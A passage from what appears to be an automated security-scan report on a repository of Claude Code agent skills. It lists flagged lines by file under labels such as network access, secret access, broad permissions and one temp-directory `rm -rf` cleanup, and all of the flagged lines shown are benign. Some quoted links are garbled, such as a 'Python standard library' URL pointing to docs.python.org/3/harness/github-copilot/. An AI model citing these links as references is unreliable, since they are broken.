  • Network accessline 39
    | AI extraction or prediction | **AI Builder** | OCR, sentiment analysis, prediction, document extraction, invoice/receipt/ID/business card processing, classification, entity extraction, key phrase extraction, language detection, text trans
  • Network accessline 40
    | Enterprise data | **Dataverse** | Tables, columns, relationships, rich text, JSON, file/image storage, RBAC, security roles, business units, row-level security, column-level security, team sharing, elastic tables, auditing, versioning, an
  • Network accessline 41
    | Integrations | **Connectors and Custom Connectors** | Use standard connectors when available; wrap a REST API as a Custom Connector when the target system is absent from https://learn.microsoft.com/en-us/connectors/connector-reference/con
  • Network accessline 67
    6. Write the architecture as a business process story that includes human users and audience labels such as "vendors", "property owners", "audit team", or named business teams. 7. If the user asks for a diagram, generate a simple Mermaid.js
  • Network accessline 69
    8. Tell the user the file was saved and instruct them to open https://mermaid.ai/live/edit, copy the file contents into the Code pane, and report any syntax issue for correction.
  • Network accessline 127
    - `high-level` - `high-volume` - `https://mermaid.ai/live/edit`
  • Network accessline 128
    - `high-volume` - `https://mermaid.ai/live/edit` - `industry-specific`
  • Network accessline 129
    - `https://mermaid.ai/live/edit`
  • Network accessline 165
    ### Optional diagram **Diagram file:** `<file.md>` | not requested **Mermaid editor:** https://mermaid.ai/live/edit
  • Network accessline 167
    **Mermaid editor:** https://mermaid.ai/live/edit
  • Network accessline 181
    - [Power Automate connector reference](https://learn.microsoft.com/en-us/connectors/connector-reference/connector-reference-powerautomate-connectors)
  • Network accessline 182
    - [Mermaid Live Editor](https://mermaid.ai/live/edit)

harness/claude-code/skills/pr-dashboard/scripts/lib/utils.mjs

  • Executable scriptline 1
    Executable file

harness/claude-code/skills/pr-dashboard/scripts/pr-dashboard-cli.mjs

  • Executable scriptline 1
    #!/usr/bin/env node
  • Network accessline 219
    return `<tr>   <td><a href="https://github.com/${escapeHtml(pr.repo)}" target="_blank" rel="noopener noreferrer">${escapeHtml(pr.repo)}</a></td>
  • Network accessline 220
    <td><a href="https://github.com/${escapeHtml(pr.repo)}" target="_blank" rel="noopener noreferrer">${escapeHtml(pr.repo)}</a></td>

harness/claude-code/skills/pr-screenshots/SKILL.md

  • Network accessline 97
    $base = "https://{org}.visualstudio.com/{projectId}/_apis/git/repositories/{repoId}"
  • Network accessline 115
    ![description](https://{org}.visualstudio.com/{projectId}/_apis/git/repositories/{repoId}/pullRequests/{prId}/attachments/screenshot.png)

harness/claude-code/skills/premium-frontend-ui/SKILL.md

  • Network accessline 8
    metadata:   author: Utkarsh Patrikar   author_url: "https://github.com/utkarsh232005"
  • Network accessline 9
    author: Utkarsh Patrikar   author_url: "https://github.com/utkarsh232005" ---
  • Network accessline 10
    author_url: "https://github.com/utkarsh232005"
  • Network accessline 129
    - [Author profile](https://github.com/utkarsh232005)

harness/claude-code/skills/publish-to-pages/SKILL.md

  • Network accessline 29
    command -v gh >/dev/null || echo "MISSING: gh CLI — install from https://cli.github.com"
  • Network accessline 56
    | PDF | `python3 SKILL_DIR/scripts/convert-pdf.py INPUT_FILE /tmp/output.html` | | PDF, forced external assets | `python3 SKILL_DIR/scripts/convert-pdf.py INPUT_FILE /tmp/output.html --external-assets` | | Google Slides download | `curl -L 
  • Network accessline 58
    | Google Slides download | `curl -L "https://docs.google.com/presentation/d/PRESENTATION_ID/export/pptx" -o /tmp/slides.pptx` |
  • Network accessline 110
    **Status:** published | blocked **Repository:** `https://github.com/USERNAME/REPO_NAME`
  • Network accessline 111
    **Repository:** `https://github.com/USERNAME/REPO_NAME`
  • Network accessline 112
    **Live URL:** `https://USERNAME.github.io/REPO_NAME/`
  • Network accessline 139
    - [GitHub CLI](https://cli.github.com)

harness/claude-code/skills/publish-to-pages/scripts/convert-pdf.py

  • Executable scriptline 1
    #!/usr/bin/env python3

harness/claude-code/skills/publish-to-pages/scripts/convert-pptx.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 98
    sp_pr = shape._element.find(qn('a:spPr'))         if sp_pr is None:             for tag in ['{http://schemas.openxmlformats.org/drawingml/2006/main}spPr',
  • Network accessline 99
    if sp_pr is None:             for tag in ['{http://schemas.openxmlformats.org/drawingml/2006/main}spPr',                         '{http://schemas.openxmlformats.org/presentationml/2006/main}spPr']:
  • Network accessline 100
    for tag in ['{http://schemas.openxmlformats.org/drawingml/2006/main}spPr',
  • Network accessline 101
    '{http://schemas.openxmlformats.org/presentationml/2006/main}spPr']:

harness/claude-code/skills/publish-to-pages/scripts/publish.sh

  • Executable scriptline 1
    #!/bin/bash
  • Network accessline 23
    TMPDIR=$(mktemp -d) git clone "https://github.com/$USERNAME/$REPO_NAME.git" "$TMPDIR"
  • Network accessline 24
    git clone "https://github.com/$USERNAME/$REPO_NAME.git" "$TMPDIR"
  • Network accessline 45
    echo "REPO_URL=https://github.com/$USERNAME/$REPO_NAME"
  • Network accessline 46
    echo "PAGES_URL=https://$USERNAME.github.io/$REPO_NAME/"
  • Dangerous shell operationline 51
    rm -rf "$TMPDIR"

harness/claude-code/skills/python-azure-iot-edge-modules/SKILL.md

  • Network accessline 28
    - https://learn.microsoft.com/azure/iot-edge/
  • Network accessline 29
    - https://learn.microsoft.com/es-es/azure/iot-edge/
  • Network accessline 33
    - https://www.python.org/
  • Network accessline 34
    - https://docs.python.org/3/
  • Network accessline 35
    - https://docs.python.org/3/reference/
  • Network accessline 36
    - https://docs.python.org/3/harness/github-copilot/
  • Network accessline 139
    - [Azure IoT Edge](https://learn.microsoft.com/azure/iot-edge/)
  • Network accessline 140
    - [Azure IoT Edge Spanish documentation](https://learn.microsoft.com/es-es/azure/iot-edge/)
  • Network accessline 141
    - [Python](https://www.python.org/)
  • Network accessline 142
    - [Python 3 documentation](https://docs.python.org/3/)
  • Network accessline 143
    - [Python language reference](https://docs.python.org/3/reference/)
  • Network accessline 144
    - [Python standard library](https://docs.python.org/3/harness/github-copilot/)

harness/claude-code/skills/python-azure-iot-edge-modules/references/python-edge-module-template.md

  • Network accessline 7
    - Official references reviewed from <https://www.python.org/> and <https://docs.python.org/3/>.
  • Network accessline 8
    - Language and stdlib usage validated against <https://docs.python.org/3/reference/> and <https://docs.python.org/3/harness/github-copilot/>.

harness/claude-code/skills/python-azure-iot-edge-modules/references/python-official-best-practices.md

  • Network accessline 7
    - Python home: <https://www.python.org/>
  • Network accessline 8
    - Python documentation portal: <https://docs.python.org/3/>
  • Network accessline 9
    - Python tutorial: <https://docs.python.org/3/tutorial/>
  • Network accessline 10
    - Python language reference: <https://docs.python.org/3/reference/>
  • Network accessline 11
    - Python standard library reference: <https://docs.python.org/3/harness/github-copilot/>
  • Network accessline 12
    - Python HOWTOs: <https://docs.python.org/3/howto/>
  • Network accessline 13
    - Installing modules: <https://docs.python.org/3/installing/>
  • Network accessline 14
    - Distributing modules: <https://docs.python.org/3/distributing/>
  • Network accessline 15
    - PEP index: <https://peps.python.org/>
  • Network accessline 16
    - PyPA packaging guide: <https://packaging.python.org/>

harness/claude-code/skills/python-mcp-server-generator/SKILL.md

  • Network accessline 56
    For HTTP testing, connect clients to `http://localhost:PORT/mcp`.
  • Network accessline 101
    | Run MCP Inspector | `uv run mcp dev server.py` | | Install to Claude Desktop | `uv run mcp install server.py` | | Run HTTP server | `python server.py`, then connect to `http://localhost:PORT/mcp` |
  • Network accessline 103
    | Run HTTP server | `python server.py`, then connect to `http://localhost:PORT/mcp` |

harness/claude-code/skills/python-pypi-package-builder/SKILL.md

  • Network accessline 99
    - PyPI name: all lowercase, hyphens — `my-python-library` - Python import name: underscores — `my_python_library` - Check availability: https://pypi.org/search/ before starting
  • Network accessline 100
    - Python import name: underscores — `my_python_library` - Check availability: https://pypi.org/search/ before starting - Avoid shadowing popular packages (verify `pip install <name>` fails first)
  • Network accessline 101
    - Check availability: https://pypi.org/search/ before starting
  • Network accessline 192
    4. TEST PUBLISH (first release only)    twine upload --repository testpypi dist/*    └── Verify: pip install --index-url https://test.pypi.org/simple/ your-package
  • Network accessline 194
    └── Verify: pip install --index-url https://test.pypi.org/simple/ your-package
  • Network accessline 406
    git tag vX.Y.Z git push origin main --tags # 4. Monitor GitHub Actions → verify on https://pypi.org/project/your-package/
  • Network accessline 408
    # 4. Monitor GitHub Actions → verify on https://pypi.org/project/your-package/
  • Network accessline 480
    **Release path** - TestPyPI: `twine upload --repository testpypi dist/*` then `pip install --index-url https://test.pypi.org/simple/ your-package`
  • Network accessline 481
    - TestPyPI: `twine upload --repository testpypi dist/*` then `pip install --index-url https://test.pypi.org/simple/ your-package`
  • Network accessline 487
    - [ ] Package type, layout, backend, and versioning choices were made using the decision tables in this skill. - [ ] PyPI name is lowercase with hyphens, import name uses underscores, and availability was checked at (https://pypi.org/search
  • Network accessline 488
    - [ ] PyPI name is lowercase with hyphens, import name uses underscores, and availability was checked at (https://pypi.org/search/).
  • Network accessline 494
    - [ ] Tests, Ruff, mypy, and pre-commit configuration match the selected package complexity. - [ ] Publishing uses Trusted Publishing / OIDC where possible; API tokens are fallback only and never committed. - [ ] Release governance covers `
  • Network accessline 495
    - [ ] Publishing uses Trusted Publishing / OIDC where possible; API tokens are fallback only and never committed. - [ ] Release governance covers `CHANGELOG.md`, valid `vX.Y.Z` tags, branch protection, and https://pypi.org/project/your-pack
  • Network accessline 496
    - [ ] Release governance covers `CHANGELOG.md`, valid `vX.Y.Z` tags, branch protection, and https://pypi.org/project/your-package/ verification.
  • Network accessline 501
    - [PyPI package search](https://pypi.org/search/)
  • Network accessline 502
    - [TestPyPI simple index](https://test.pypi.org/simple/)
  • Network accessline 503
    - [Example PyPI project verification URL](https://pypi.org/project/your-package/)

harness/claude-code/skills/python-pypi-package-builder/references/architecture-patterns.md

  • Access to secretsline 176
    [Credential-related source omitted]
  • Access to secretsline 193
    [Credential-related source omitted]
  • Access to secretsline 199
    [Credential-related source omitted]
  • Network accessline 200
    timeout: int = 30     retries: int = 3     base_url: str = "https://api.example.com/v1"
  • Network accessline 202
    base_url: str = "https://api.example.com/v1"
  • Access to secretsline 205
    [Credential-related source omitted]
  • Access to secretsline 206
    [Credential-related source omitted]
  • Access to secretsline 216
    [Credential-related source omitted]
  • Access to secretsline 219
    [Credential-related source omitted]
  • Access to secretsline 220
    [Credential-related source omitted]
  • Access to secretsline 221
    [Credential-related source omitted]
  • Access to secretsline 222
    [Credential-related source omitted]
  • Access to secretsline 236
    [Credential-related source omitted]
  • Network accessline 237
    timeout: int = Field(30, ge=1)     retries: int = Field(3, ge=0)     base_url: str = "https://api.example.com/v1"
  • Network accessline 239
    base_url: str = "https://api.example.com/v1"
  • Network accessline 278
    def __init__(self, settings: Settings) -> None:         self._settings = settings         self._client = httpx.Client(
  • Network accessline 279
    self._settings = settings         self._client = httpx.Client(             base_url=settings.base_url,
  • Network accessline 280
    self._client = httpx.Client(
  • Access to secretsline 283
    [Credential-related source omitted]
  • Network accessline 342
    def __init__(self, settings: Settings) -> None:         self._settings = settings         self._client = httpx.AsyncClient(
  • Network accessline 343
    self._settings = settings         self._client = httpx.AsyncClient(             base_url=settings.base_url,
  • Network accessline 344
    self._client = httpx.AsyncClient(
  • Access to secretsline 347
    [Credential-related source omitted]
  • Access to secretsline 418
    [Credential-related source omitted]
  • Access to secretsline 421
    [Credential-related source omitted]
  • Access to secretsline 423
    [Credential-related source omitted]
  • Access to secretsline 451
    [Credential-related source omitted]
  • Access to secretsline 455
    [Credential-related source omitted]
  • Access to secretsline 494
    [Credential-related source omitted]
  • Access to secretsline 502
    [Credential-related source omitted]
  • Access to secretsline 503
    [Credential-related source omitted]
  • Access to secretsline 504
    [Credential-related source omitted]
  • Access to secretsline 517
    [Credential-related source omitted]

harness/claude-code/skills/python-pypi-package-builder/references/ci-publishing.md

  • Network accessline 17
    Keep a `CHANGELOG.md` following [Keep a Changelog](https://keepachangelog.com/) conventions.
  • Network accessline 26
    The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/),
  • Network accessline 27
    and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
  • Network accessline 60
    [Unreleased]: https://github.com/{owner}/{repo}/compare/v1.0.0...HEAD
  • Network accessline 61
    [1.0.0]: https://github.com/{owner}/{repo}/compare/v0.1.0...v1.0.0
  • Network accessline 62
    [0.1.0]: https://github.com/{owner}/{repo}/releases/tag/v0.1.0
  • Network accessline 237
    1. Create an account at https://pypi.org
  • Network accessline 267
    # OR test on TestPyPI first (recommended for first release) twine upload --repository testpypi dist/* pip install --index-url https://test.pypi.org/simple/ your-package
  • Network accessline 268
    twine upload --repository testpypi dist/* pip install --index-url https://test.pypi.org/simple/ your-package python -c "import your_package; print(your_package.__version__)"
  • Network accessline 269
    pip install --index-url https://test.pypi.org/simple/ your-package

harness/claude-code/skills/python-pypi-package-builder/references/community-docs.md

  • Network accessline 25
    [![PyPI version](https://badge.fury.io/py/your-package.svg)](https://pypi.org/project/your-package/)
  • Network accessline 26
    [![Python Versions](https://img.shields.io/pypi/pyversions/your-package)](https://pypi.org/project/your-package/)
  • Network accessline 27
    [![CI](https://github.com/{owner}/{repo}/actions/workflows/ci.yml/badge.svg)](https://github.com/{owner}/{repo}/actions/workflows/ci.yml)
  • Network accessline 28
    [![Coverage](https://codecov.io/gh/you/your-package/branch/master/graph/badge.svg)](https://codecov.io/gh/you/your-package)
  • Network accessline 29
    [![License: MIT](https://img.shields.io/badge/License-MIT-yellow.svg)](LICENSE)
  • Access to secretsline 44
    [Credential-related source omitted]
  • Access to secretsline 57
    [Credential-related source omitted]
  • Access to secretsline 92
    [Credential-related source omitted]
  • Access to secretsline 97
    [Credential-related source omitted]
  • Access to secretsline 101
    [Credential-related source omitted]
  • Network accessline 115
    git clone https://github.com/{owner}/{repo}
  • Network accessline 409
    # 5. Monitor: https://github.com/<you>/<pkg>/actions
  • Network accessline 410
    # 6. Verify: https://pypi.org/project/your-package/

harness/claude-code/skills/python-pypi-package-builder/references/library-patterns.md

  • Access to secretsline 258
    [Credential-related source omitted]
  • Access to secretsline 263
    [Credential-related source omitted]
  • Access to secretsline 264
    [Credential-related source omitted]
  • Access to secretsline 313
    [Credential-related source omitted]
  • Access to secretsline 318
    [Credential-related source omitted]
  • Access to secretsline 322
    [Credential-related source omitted]
  • Access to secretsline 328
    [Credential-related source omitted]
  • Access to secretsline 332
    [Credential-related source omitted]
  • Access to secretsline 333
    [Credential-related source omitted]
  • Access to secretsline 336
    [Credential-related source omitted]
  • Access to secretsline 379
    [Credential-related source omitted]
  • Access to secretsline 390
    [Credential-related source omitted]
  • Access to secretsline 397
    [Credential-related source omitted]
  • Access to secretsline 405
    [Credential-related source omitted]
  • Network accessline 434
    timeout: int = 30     retries: int = 3     base_url: str = "https://api.example.com"
  • Network accessline 435
    retries: int = 3     base_url: str = "https://api.example.com"     extra_headers: dict[str, str] = field(default_factory=dict)
  • Network accessline 436
    base_url: str = "https://api.example.com"
  • Access to secretsline 601
    [Credential-related source omitted]
  • Access to secretsline 605
    [Credential-related source omitted]

harness/claude-code/skills/python-pypi-package-builder/references/pyproject-toml.md

  • Network accessline 79
    [project.urls] Homepage      = "https://github.com/yourusername/your-package"
  • Network accessline 80
    Homepage      = "https://github.com/yourusername/your-package"
  • Network accessline 81
    Documentation = "https://github.com/yourusername/your-package#readme"
  • Network accessline 82
    Repository    = "https://github.com/yourusername/your-package"
  • Network accessline 83
    "Bug Tracker" = "https://github.com/yourusername/your-package/issues"
  • Network accessline 84
    Changelog     = "https://github.com/yourusername/your-package/blob/master/CHANGELOG.md"
  • Network accessline 203
    [project.urls] Homepage  = "https://github.com/yourusername/your-package"
  • Network accessline 204
    Homepage  = "https://github.com/yourusername/your-package"
  • Network accessline 205
    Changelog = "https://github.com/yourusername/your-package/blob/master/CHANGELOG.md"
  • Network accessline 247
    [project.urls] Homepage = "https://github.com/yourusername/your-package"
  • Network accessline 248
    Homepage = "https://github.com/yourusername/your-package"

harness/claude-code/skills/python-pypi-package-builder/references/release-governance.md

  • Network accessline 130
    # 5. Confirm: GitHub Actions publish.yml triggers automatically #    Monitor: Actions tab → publish workflow #    Verify:  https://pypi.org/project/your-package/
  • Network accessline 132
    #    Verify:  https://pypi.org/project/your-package/
  • Network accessline 171
    1. Go to https://pypi.org/manage/project/your-package/settings/publishing/
  • Network accessline 338
    uses: pypa/gh-action-pypi-publish@release/v1         with:           repository-url: https://test.pypi.org/legacy/
  • Network accessline 339
    with:           repository-url: https://test.pypi.org/legacy/         continue-on-error: true   # Non-fatal; remove if you always want this to pass
  • Network accessline 340
    repository-url: https://test.pypi.org/legacy/

harness/claude-code/skills/python-pypi-package-builder/references/testing-quality.md

  • Access to secretsline 33
    [Credential-related source omitted]
  • Access to secretsline 52
    [Credential-related source omitted]
  • Access to secretsline 57
    [Credential-related source omitted]
  • Access to secretsline 58
    [Credential-related source omitted]
  • Access to secretsline 63
    [Credential-related source omitted]
  • Network accessline 212
    # .pre-commit-config.yaml repos:   - repo: https://github.com/astral-sh/ruff-pre-commit
  • Network accessline 213
    repos:   - repo: https://github.com/astral-sh/ruff-pre-commit     rev: v0.4.4
  • Network accessline 214
    - repo: https://github.com/astral-sh/ruff-pre-commit
  • Network accessline 221
    - repo: https://github.com/psf/black
  • Network accessline 226
    - repo: https://github.com/pycqa/isort
  • Network accessline 231
    - repo: https://github.com/pre-commit/mirrors-mypy
  • Network accessline 237
    - repo: https://github.com/pre-commit/pre-commit-hooks

harness/claude-code/skills/python-pypi-package-builder/references/tooling-ruff.md

  • Network accessline 149
    # .pre-commit-config.yaml repos:   - repo: https://github.com/astral-sh/ruff-pre-commit
  • Network accessline 150
    repos:   - repo: https://github.com/astral-sh/ruff-pre-commit     rev: v0.4.4    # Pin to a specific release; update periodically with `pre-commit autoupdate`
  • Network accessline 151
    - repo: https://github.com/astral-sh/ruff-pre-commit
  • Network accessline 158
    - repo: https://github.com/pre-commit/mirrors-mypy
  • Network accessline 167
    - repo: https://github.com/pre-commit/pre-commit-hooks
  • Network accessline 182
    # DELETE or never add: - repo: https://github.com/psf/black           # replaced by ruff-format
  • Network accessline 183
    - repo: https://github.com/psf/black           # replaced by ruff-format
  • Network accessline 184
    - repo: https://github.com/PyCQA/isort          # replaced by ruff lint I rules
  • Network accessline 185
    - repo: https://github.com/PyCQA/flake8         # replaced by ruff check
  • Network accessline 186
    - repo: https://github.com/PyCQA/autoflake      # replaced by ruff check F401

harness/claude-code/skills/python-pypi-package-builder/references/versioning-strategy.md

  • Network accessline 20
    All Python package versions must comply with [PEP 440](https://peps.python.org/pep-0440/).
  • Network accessline 363
    # Step 4: Test on TestPyPI first (first release or major change) twine upload --repository testpypi dist/* pip install --index-url https://test.pypi.org/simple/ --extra-index-url https://pypi.org/simple/ your-package==1.2.3
  • Network accessline 365
    pip install --index-url https://test.pypi.org/simple/ --extra-index-url https://pypi.org/simple/ your-package==1.2.3

harness/claude-code/skills/python-pypi-package-builder/scripts/scaffold.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 113
    [project.urls] Homepage      = "https://github.com/yourusername/{name}"
  • Network accessline 114
    Homepage      = "https://github.com/yourusername/{name}"
  • Network accessline 115
    Documentation = "https://github.com/yourusername/{name}#readme"
  • Network accessline 116
    Repository    = "https://github.com/yourusername/{name}"
  • Network accessline 117
    "Bug Tracker" = "https://github.com/yourusername/{name}/issues"
  • Network accessline 118
    Changelog     = "https://github.com/yourusername/{name}/blob/master/CHANGELOG.md"
  • Network accessline 217
    [project.urls] Homepage  = "https://github.com/yourusername/{name}"
  • Network accessline 218
    Homepage  = "https://github.com/yourusername/{name}"
  • Network accessline 219
    Changelog = "https://github.com/yourusername/{name}/blob/master/CHANGELOG.md"
  • Access to secretsline 289
    [Credential-related source omitted]
  • Access to secretsline 294
    [Credential-related source omitted]
  • Access to secretsline 298
    [Credential-related source omitted]
  • Access to secretsline 304
    [Credential-related source omitted]
  • Access to secretsline 308
    [Credential-related source omitted]
  • Access to secretsline 309
    [Credential-related source omitted]
  • Access to secretsline 312
    [Credential-related source omitted]
  • Access to secretsline 424
    [Credential-related source omitted]
  • Access to secretsline 439
    [Credential-related source omitted]
  • Access to secretsline 444
    [Credential-related source omitted]
  • Access to secretsline 445
    [Credential-related source omitted]
  • Access to secretsline 450
    [Credential-related source omitted]
  • Network accessline 597
    return '''\ repos:   - repo: https://github.com/astral-sh/ruff-pre-commit
  • Network accessline 598
    repos:   - repo: https://github.com/astral-sh/ruff-pre-commit     rev: v0.4.4
  • Network accessline 599
    - repo: https://github.com/astral-sh/ruff-pre-commit
  • Network accessline 606
    - repo: https://github.com/psf/black
  • Network accessline 611
    - repo: https://github.com/pycqa/isort
  • Network accessline 616
    - repo: https://github.com/pre-commit/mirrors-mypy
  • Network accessline 621
    - repo: https://github.com/pre-commit/pre-commit-hooks
  • Network accessline 641
    The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/),
  • Network accessline 642
    and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
  • Network accessline 651
    [Unreleased]: https://github.com/yourusername/{name}/commits/master
  • Network accessline 661
    [![PyPI version](https://badge.fury.io/py/{name}.svg)](https://pypi.org/project/{name}/)
  • Network accessline 662
    [![Python Versions](https://img.shields.io/pypi/pyversions/{name})](https://pypi.org/project/{name}/)
  • Network accessline 663
    [![License: MIT](https://img.shields.io/badge/License-MIT-yellow.svg)](LICENSE)
  • Access to secretsline 676
    [Credential-related source omitted]
  • Access to secretsline 685
    [Credential-related source omitted]
  • Access to secretsline 842
    [Credential-related source omitted]

harness/claude-code/skills/qdrant-clients-sdk/SKILL.md

  • Broad permissionsline 1
    Read, Grep, Glob, Bash
  • Network accessline 26
    | Language | Official SDK | Install command or source | | --- | --- | --- | | Python | `qdrant-client` | `pip install qdrant-client[fastembed]` from `https://github.com/qdrant/qdrant-client` |
  • Network accessline 27
    | --- | --- | --- | | Python | `qdrant-client` | `pip install qdrant-client[fastembed]` from `https://github.com/qdrant/qdrant-client` | | JavaScript / TypeScript | `qdrant-js` | `npm install @qdrant/js-client-rest` from `https://github.com
  • Network accessline 28
    | Python | `qdrant-client` | `pip install qdrant-client[fastembed]` from `https://github.com/qdrant/qdrant-client` |
  • Network accessline 29
    | JavaScript / TypeScript | `qdrant-js` | `npm install @qdrant/js-client-rest` from `https://github.com/qdrant/qdrant-js` |
  • Network accessline 30
    | Rust | `rust-client` | `cargo add qdrant-client` from `https://github.com/qdrant/rust-client` |
  • Network accessline 31
    | Go | `go-client` | `go get github.com/qdrant/go-client` from `https://github.com/qdrant/go-client` |
  • Network accessline 32
    | .NET | `qdrant-dotnet` | `dotnet add package Qdrant.Client` from `https://github.com/qdrant/qdrant-dotnet` |
  • Network accessline 33
    | Java | `java-client` | Maven Central artifact `io.qdrant/client` at `https://central.sonatype.com/artifact/io.qdrant/client` and source `https://github.com/qdrant/java-client` |
  • Network accessline 37
    | Surface | Use when | Reference | | --- | --- | --- | | REST API | You are new to Qdrant, prototyping, debugging with HTTP, or need OpenAPI-generated clients. | OpenAPI Reference `https://api.qdrant.tech/api-reference`; OpenAPI JSON `https
  • Network accessline 38
    | --- | --- | --- | | REST API | You are new to Qdrant, prototyping, debugging with HTTP, or need OpenAPI-generated clients. | OpenAPI Reference `https://api.qdrant.tech/api-reference`; OpenAPI JSON `https://github.com/qdrant/qdrant/blob/ma
  • Network accessline 39
    | REST API | You are new to Qdrant, prototyping, debugging with HTTP, or need OpenAPI-generated clients. | OpenAPI Reference `https://api.qdrant.tech/api-reference`; OpenAPI JSON `https://github.com/qdrant/qdrant/blob/master/docs/redoc/mast
  • Network accessline 40
    | gRPC API | You need lower overhead, streaming-friendly integrations, or native generated protobuf clients. | gRPC protobuf definitions `https://github.com/qdrant/qdrant/tree/master/lib/api/src/grpc/proto` |
  • Network accessline 41
    | Curated snippets | You need operation-level examples before writing code. | `https://snippets.qdrant.tech/search?language=python&query=how+to+upload+points` |
  • Network accessline 45
    1. Choose one supported snippet language: `python`, `typescript`, `rust`, `java`, `go`, or `csharp`. 2. Convert the user's intent into a concise query such as `how to upload points`, `hybrid search`, or `filter by payload`. 3. Fetch snippet
  • Network accessline 46
    2. Convert the user's intent into a concise query such as `how to upload points`, `hybrid search`, or `filter by payload`. 3. Fetch snippets with `curl -X GET "https://snippets.qdrant.tech/search?language=<language>&query=<url-encoded-query
  • Network accessline 47
    3. Fetch snippets with `curl -X GET "https://snippets.qdrant.tech/search?language=<language>&query=<url-encoded-query>"`.
  • Network accessline 62
    | Reliability flags | `parallel=4`, `max_retries=3` | Mention when preserving robust indexing behavior. | | Idempotency | Re-uploading and re-uploading the same `id` overwrites existing points. | If ids are omitted, Qdrant auto-generates UU
  • Network accessline 64
    | Documentation source | `https://qdrant.tech/documentation/manage-data/points/` | Cite when discussing point management. |
  • Network accessline 93
    - [Qdrant Python client](https://github.com/qdrant/qdrant-client)
  • Network accessline 94
    - [Qdrant JavaScript/TypeScript client](https://github.com/qdrant/qdrant-js)
  • Network accessline 95
    - [Qdrant Rust client](https://github.com/qdrant/rust-client)
  • Network accessline 96
    - [Qdrant Go client](https://github.com/qdrant/go-client)
  • Network accessline 97
    - [Qdrant .NET client](https://github.com/qdrant/qdrant-dotnet)
  • Network accessline 98
    - [Qdrant Java client](https://github.com/qdrant/java-client)
  • Network accessline 99
    - [Qdrant Java Maven Central artifact](https://central.sonatype.com/artifact/io.qdrant/client)
  • Network accessline 100
    - [Qdrant REST OpenAPI Reference](https://api.qdrant.tech/api-reference)
  • Network accessline 101
    - [Qdrant OpenAPI JSON](https://github.com/qdrant/qdrant/blob/master/docs/redoc/master/openapi.json)
  • Network accessline 102
    - [Qdrant gRPC protobuf definitions](https://github.com/qdrant/qdrant/tree/master/lib/api/src/grpc/proto)
  • Network accessline 103
    - [Qdrant snippet search example](https://snippets.qdrant.tech/search?language=python&query=how+to+upload+points)
  • Network accessline 104
    - [Qdrant point management](https://qdrant.tech/documentation/manage-data/points/)

harness/claude-code/skills/qdrant-deployment-options/SKILL.md

  • Network accessline 102
    - [Qdrant local mode quickstart](https://qdrant.tech/documentation/quickstart/) - [Qdrant Docker quick start](https://qdrant.tech/documentation/quickstart/?s=download-and-run)
  • Network accessline 103
    - [Qdrant Docker quick start](https://qdrant.tech/documentation/quickstart/?s=download-and-run)
  • Network accessline 104
    - [Distributed deployment](https://qdrant.tech/documentation/operations/distributed_deployment/)
  • Network accessline 105
    - [Qdrant Cloud](https://qdrant.tech/documentation/cloud-quickstart/)
  • Network accessline 106
    - [Hybrid Cloud](https://qdrant.tech/documentation/hybrid-cloud/)
  • Network accessline 107
    - [Qdrant EDGE](https://qdrant.tech/documentation/edge/edge-quickstart/)

harness/claude-code/skills/qdrant-model-migration/SKILL.md

  • Network accessline 129
    - [Collection aliases](https://qdrant.tech/documentation/manage-data/collections/?s=collection-aliases)
  • Network accessline 130
    - [Switch collection](https://qdrant.tech/documentation/manage-data/collections/?s=switch-collection)
  • Network accessline 131
    - [Collection with multiple vectors](https://qdrant.tech/documentation/manage-data/collections/?s=collection-with-multiple-vectors)
  • Network accessline 132
    - [Update vectors](https://qdrant.tech/documentation/manage-data/points/?s=update-vectors)
  • Network accessline 133
    - [Update mode](https://qdrant.tech/documentation/manage-data/points/?s=update-mode)
  • Network accessline 134
    - [Quantization](https://qdrant.tech/documentation/manage-data/quantization/)
  • Network accessline 135
    - [Bulk upload](https://qdrant.tech/documentation/tutorials-develop/bulk-upload/)
  • Network accessline 136
    - [Inference docs](https://qdrant.tech/documentation/inference/)

harness/claude-code/skills/qdrant-monitoring/SKILL.md

  • Network accessline 34
    Understand available metrics through the Qdrant monitoring documentation at https://qdrant.tech/documentation/operations/monitoring/.
  • Network accessline 34
    Understand available metrics through the Qdrant monitoring documentation at https://qdrant.tech/documentation/operations/monitoring/.
  • Network accessline 99
    - [Qdrant monitoring documentation](https://qdrant.tech/documentation/operations/monitoring/)
  • Network accessline 99
    - [Qdrant monitoring documentation](https://qdrant.tech/documentation/operations/monitoring/)

harness/claude-code/skills/qdrant-monitoring/debugging/SKILL.md

  • Network accessline 15
    - Use `/collections/{collection_name}/optimizations` endpoint (v1.17+) to check status [Optimization monitoring](https://qdrant.tech/documentation/operations/optimizer/?s=optimization-monitoring)
  • Network accessline 16
    - Query with optional detail flags: `?with=queued,completed,idle_segments` - Returns: queued optimizations count, active optimizer type, involved segments, progress tracking - Web UI has an Optimizations tab with timeline view and per-task 
  • Network accessline 17
    - Returns: queued optimizations count, active optimizer type, involved segments, progress tracking - Web UI has an Optimizations tab with timeline view and per-task duration metrics [Web UI](https://qdrant.tech/documentation/operations/opti
  • Network accessline 18
    - Web UI has an Optimizations tab with timeline view and per-task duration metrics [Web UI](https://qdrant.tech/documentation/operations/optimizer/?s=web-ui)
  • Network accessline 27
    - Process memory metrics available via `/metrics` (RSS, allocated bytes, page faults) - Qdrant uses two types of RAM: resident memory (data structures, quantized vectors) and OS page cache (cached disk reads). Page cache filling available R
  • Network accessline 28
    - Qdrant uses two types of RAM: resident memory (data structures, quantized vectors) and OS page cache (cached disk reads). Page cache filling available RAM is normal. [Memory article](https://qdrant.tech/articles/memory-consumption/)
  • Network accessline 29
    - If resident memory (RSSAnon) exceeds 80% of total RAM, investigate - Check `/telemetry` for per-collection breakdown of point counts and vector configurations - Estimate expected memory: `num_vectors * dimensions * 4 bytes * 1.5` for vect
  • Network accessline 30
    - Check `/telemetry` for per-collection breakdown of point counts and vector configurations - Estimate expected memory: `num_vectors * dimensions * 4 bytes * 1.5` for vectors, plus payload and index overhead [Capacity planning](https://qdra
  • Network accessline 31
    - Estimate expected memory: `num_vectors * dimensions * 4 bytes * 1.5` for vectors, plus payload and index overhead [Capacity planning](https://qdrant.tech/documentation/operations/capacity-planning/)
  • Network accessline 42
